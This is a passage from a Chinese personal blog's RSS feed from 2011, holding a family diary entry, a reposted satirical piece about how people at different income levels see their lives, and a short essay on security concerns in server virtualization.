			<guid>http://www.icylife.net/yunshu/show.php?id=805</guid>
			<description>
				<![CDATA[
<p>越来越懒了，日记越写越少，基本上成了每月一次。第一篇到现在已经持续了七年，不继续下去也挺可惜的。那么月记就月记吧，哪怕最终变成年记，也要坚持写到归位的那一天。<br />
<br />
三月底的时候，爷爷来上海、杭州周边都转了一圈。八十三岁的人了，有这样的体力和想法，算是很好的一件事情。而且对各种新鲜的事情依旧充满了好奇心，能吃饭能喝酒能走路。也许因为这样，才统领了爸爸他们一个个脾气大本事也不小的那一辈？</p>
<p>来一张照片，我和爷爷在西湖划船的。<br />
<img width="800" height="557" alt="" src="/userfiles/image/P1000594.JPG" /></p>
<p>再来一张傍晚时分在雷峰塔前，花开得很好。<br />
<img width="800" height="591" alt="" src="/userfiles/image/P1000620.JPG" /></p>
<p>四月初清明节，加上请年假以及周末抽出了大概10天的空闲，回LP的老家去陪LP和宝宝。老家环境还是不错的，卧室窗下就是两排梧桐树，稍远一点一大片果园，开满了梨花。梨花旁边是一望无际的油菜，清明时节刚好开得正好。每天早晚时分，梧桐树上都有数不清的鸟儿在叽叽喳喳。回家的那些天都不怎么碰电脑和手机，每天就和LP散散步，打打牌，聊聊天，日子也挺好的。4号那天第一次摸到宝宝的胎动，乱激动了一把！后来做B超检查，亲眼看到小手晃来晃去的。医生说在吮吸手指，真是个贪吃的家伙啊。下次再回来，不知道是什么时候，希望回来陪宝宝过TA的第一个儿童节，虽然TA还在ICY的肚子里面，哈哈。<br />
<br />
前几天公司在浙大年会，讲了很多东西，虚拟化啊分布式计算啊还有各种XAAS。我高兴的是，可以称得上国内最大的虚拟化云计算机房，也有我的一份辛苦&mdash;&mdash;虽然他们没念我的名字，不过我自己心里知道我做了什么学到了什么就行了。年会的第二天是去爬山，云溪竹径，名字有意境，山则一般。漫山遍野的采茶人，到让我想起了小学时候的勤工俭学，采茶我也行的。<br />
<br />
最近公司一直在很努力的帮我解决户口问题，很艰难所以很感谢。这就是我党的政策啊，要是当年蒋某人也搞这一套，我看天下现在还是他们的。</p>
				]]>
			</description>
			<pubDate>Thu, 21 Apr 2011 17:12:27 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[年收入（转自豆瓣）]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=804</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=804</guid>
			<description>
				<![CDATA[
<p>他年收入100多万<br />
<br />
开着一辆宝马5，天天被应酬折腾的要死要活，真想狠狠心不干了，当初干嘛非要自己创业，当年在那家外企也能挣个四五十万，加上些油水，能弄个大几十万，比自己干不知道要轻快多少！五险一金有公司给上着，多好啊，再看看现在，看看老婆孩子，还有跟着自己吃饭的好几十人<br />
，哪能说放手就放手，硬着头皮接着干吧，这不，一个猿类又给他打电话了，不知道又要干啥，唉。。。。。。。。。。。<br />
<br />
他年收入50多万<br />
<br />
开着一辆a4l，天天琢磨着什么时候能换一辆q7或者陆巡什么的，可是看看手里还有两套房子的贷款没又还完，咬咬牙还是算了吧，今年的指标刚下来，麻痹的又涨了40%，这tmd还叫人活吗？这指标这么涨下去，早晚有一天老人们全都得滚蛋，手底下这帮销售们，也是老的老，小的小，没啥冲劲了，唉，不行的话往市场部推俩人，然后招点新人吧 ，也不知道这次年底有没有戏升职，跟着头5年了，丫也该考虑我一下了吧，不过李xx和吴xx也不是白给的，唉，烦死了，这次升不上去，我的职业生涯也就到这了。。。真羡慕那些自己当老板的<br />
<br />
他年收入20多万<br />
操，眼瞅着这收入上来了，房价也tmd越来越高了， 我这样的都买不了房子，我艹他大爷！车也不让买了，大不了老子回老家去，看看今年我们领导能不能升职吧，他要是升职我也有戏往上走走。。。。。丈母娘那快下通牒了，实在不行我就去燕郊买一房去<br />
<br />
他年收入10万<br />
<br />
刚毕业2年，想想自己也是年薪十万的人了，不免有些小得意，在同学中的收入也算是中上等了，在chinaren和校内网上吹吹牛，晒晒自己的收入，很是满足。但是前几天跟同学打一电话，说谁谁谁在四环边贷款买房了，双方父母给出得首付，谁谁找的老婆是北京的，家里有几套房子。。。他的心里渐渐失衡了，他开始不再上猫扑，不再上网看体育资讯，开始看房产网站，看连家二手房，这才发现，心中那个买房的梦对自己几乎是个遥不可及的梦，他算了算，照他这个收入，省吃俭用得二十年后才能付得起一套两居室的首付，艹！<br />
然后他接着上起了天崖，，猫扑，八卦吧，房子爱咋地咋地，一切都是浮云<br />
<br />
对了，上周相得那个女孩又没信了，实在受不了这周我跟小王去趟胡同口的洗头房，麻痹咱也当回男人<br />
<br />
他年收入8万<br />
<br />
毕业3年了，买房是别想了，也就能凑合解决自己的温饱，在单位暂时不会有什么大起色、自己也没什么副业，人生到哪里是一站？自己到底该干什么？女朋友对自己挺好，没有房子他会嫁给我吗？父母也该养老了，不能再向家里要钱了！上学时的单纯和快乐还历历在目，可是回不去了。先这么忍着吧，找个机会看看能不能换个好工作。<br />
<br />
他年收入5万<br />
<br />
今年6月算是毕业满一年，听说去年有同学直接进外企签了十万年薪的offer，让我十分羡慕，想想自己所在的这个研究所，屁事没有，还得成天陪着领导喝酒去，真羡慕那些在高楼大厦上班的白领同学们，外表光鲜，每天在电梯里都能邂逅不同的漂亮美眉，而我在这个破研究所，交通还凑合，但是破烂不起眼的小院 ，一帮大叔大婶的同事，以及单位的主流交通工具&mdash;&mdash;自行车，都让我在同学面前有些太不起头来，想想回老家过年和亲戚们在一起吃饭，自己号称是在&ldquo;所里工作的&rdquo;，这恐怕是目前自己活得最有尊严的一刻了吧<br />
<br />
老婆和我一样也住在单位宿舍，每到周五，周六，我们宿舍的同事们主动给我俩腾地方，这就是我一周里最幸福的时刻了<br />
<br />
老婆从农村来，对四五千的收入很满意了，可是我怎么就看不到我俩有什么光明的未来呢，我俩加起来每月八九千，除去消费，每月给家里寄去一些钱，得攒到哪年哪月才能在北京 安下个家啊</p>
<p><br />
他年收入3万元<br />
<br />
自己大专毕业后，就直接回家了，没事和留在大城市的同学打打电话，感觉他们活得比自己丰富多彩多了，这个小城镇，就那么几家商场，连杰克琼斯都没有，虽然自己也不买吧，但是看看还是挺过瘾的，现在自己在叔叔的超市帮忙，一个月开两千多，比小城里大多数这个岁数的年轻人都挣的多了，想想还是挺开心的，再也不担心没钱上网了，对了，叔叔有辆小<br />
奥拓好像说给我，回头俺也是有车的人啦！虽然小红喜欢qq，但是三万多我一年不吃不喝也买不起啊，小红和超市里收银的小武都追我呢，小武好看些，但是才挣七八百，好像是临时的，小红的爸爸是县林业局的，家里有一套林业局的老房子没人住，可能给小红当婚房，但是身材和长相都不如小武好，我该选谁呢，唉，烦死我了。。。前几天听说大学时的女友现在嫁了一个省会的小子，留在省会了，靠，那小子还没我下巴高呢，艹！</p>
<p><br />
他年收入2万元<br />
<br />
中专毕业后，直接从地级市的城市返回老家，想想自己真是没出息啊，除了踢得一脚好足球，好像没啥本事了 ，哦，不是，自己在床上还是蛮威猛的，中专期间的2个女友都为自己坠过胎，想想虽然对不起他们，但是床上确实把她们满足了，自己家是农村的，地都被占了，父亲没有地钟，现在在县城里拉三轮呢，每月也就挣个1500块，想想自己拿父亲 拉三轮挣的钱给俩女友乱花乱造，真是鼻子有些泛酸，还好回家就找到事干了，帮朋友开的网吧看摊，职业应该叫做&ldquo;网管&rdquo;吧，每月能挣个一千六七，不错了，我们同学好多人毕业就回家种地了，别的网吧的网管好像也就开个一千二三。。。每天跟和我换班的小美女打打闹闹也挺幸福的啊，她是不是真看上我了，呵呵，我这接着当网管的便利，能看到好多漂亮妹妹的qq号，我该从哪个开始下手呢....<br />
<br />
他年收入上亿<br />
<br />
他年收入上亿，他自己不知道自己一年能挣多少钱，或者自己拥有多少钱，钱在于他只是数字了，他开着奔驰的加厚防弹车驰骋在深圳的南山大道上，颇有些德高望重的意思，谁要是敢别他，他就急加油上去，从前面把那个车一别，直到把他别在护栏上才扬长而去。。。他在22年前（玐九年）大学毕业，那一年的大学生分配本来就不好，他还上的事一个二流大学，更没地方落脚了，干脆去了深圳，刚开始在半导体工厂上班，后来升职，加薪，自己出来干，当年的初恋女友嫁人了，可他每次抱着女明星或者主持人的时候想起来的还是她，他已经很多年不和老婆做爱了，但是他还是爱老婆的，也早就不再打老婆了，老婆也不容易。。。每次他从澳门赌场回来，或者得意或者失意，总要和赵局去耍一下，喝多了酒，眼珠子发红的他往小三家开车，越开越快，越开越快，这个时候，脑子里只有一个想法：你为什么不去死。。。你还活着还有什么意思。。。你为什么不去死。。。。</p>
				]]>
			</description>
			<pubDate>Fri, 11 Mar 2011 12:59:07 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[关于虚拟化]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=803</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=803</guid>
			<description>
				<![CDATA[
<p>很多公司都在做&ldquo;云计算&rdquo;，但是为了降低风险大多都是从虚拟化开始。因为有Xen等一系列的开源虚拟化项目摆在那里，稍微改改加上全局化的管理平台就能够作为企业级使用了。我在阿里搞了很久的虚拟化，稍微谈一点自己的感想。<br />
<br />
一. 是否必须虚拟化？<br />
使用虚拟化最大的原因是降低成本，但是对于WEB应用为主的业务，是不是可以选择其它的方式降低成本？毕竟虚拟机也是需要开销的。也许可以在一个服务器上不同的端口跑多个web服务，同时再跑一个反向代理即可。为了避免一台物理服务器宕机整个业务挂掉的情况，可以把同一个业务的多个WEB后端运行到不同的物理机器上面。虚拟化环境或者这种类似虚拟化的情况，一台物理机宕机，基本上相当于传统机房的一台交换机宕机了。基于这种模式做一个管理平台，用起来应该也是很舒服的。</p>
<p>当然，在安全性上面这种方式比虚拟化稍微差一些。不仅仅是差在网络层面，还差在系统层面。一个业务的web被渗透，很轻易的就能够扩散到其它的应用，传统的安全域基本被打散了。不知道用chroot、jailkit之类隔离各个web进程、加固，能起到多大的作用。<br />
<br />
二. 虚拟化的安全问题<br />
对于虚拟化而言，不同的业务依旧在不同的服务器上，如果虚拟化系统可靠则系统安全性和传统IDC服务器相当。但是相比传统方式，依旧有自己的问题，主要表现在网络层面。简单的说，现在的虚拟化只不过是把交换机的下降到了服务器，把宿主机当成一个装了Linux系统并且和server共享了CPU、内存、存储资源的交换机在使用。传统的安全域、ACL、流量管理依旧是难以实施的。思科的VN-TAG，VMware的VDS，惠普的VEPA，Chelsio网卡内嵌CPU、虚拟端口和虚拟交换机，都试着给出一个通用的方案从根本上解决这个问题。<br />
<br />
我们的虚拟化也遇到了类似的情况，但是是通过软件方式解决的。简单的说厂商们试图在二层解决问题，而我设计安全方案当初是尽量把网络简化，从三层去考虑，把二层的一些东西该杀掉的杀掉。目前看来还是可以的，阿里的虚拟化已经有较大规模的使用了，状态还不错。<br />
<br />
我并不是说厂商的不好，他们的设计思路都非常精彩，只是他们要考虑的东西太多，需要兼容各种环境各种设备。对于我们这边来说，只需要给出我们自己特定环境下的解就行了。这就是定制化，互联网企业定制化的独特的东西，类似于前几天flashsky说的web安全的发展一样，安全厂商、设备厂商逐渐开始慢起来了。</p>
				]]>
			</description>
			<pubDate>Tue, 08 Mar 2011 15:22:32 +0800</pubDate>
		</item>
	</channel>
</rss>

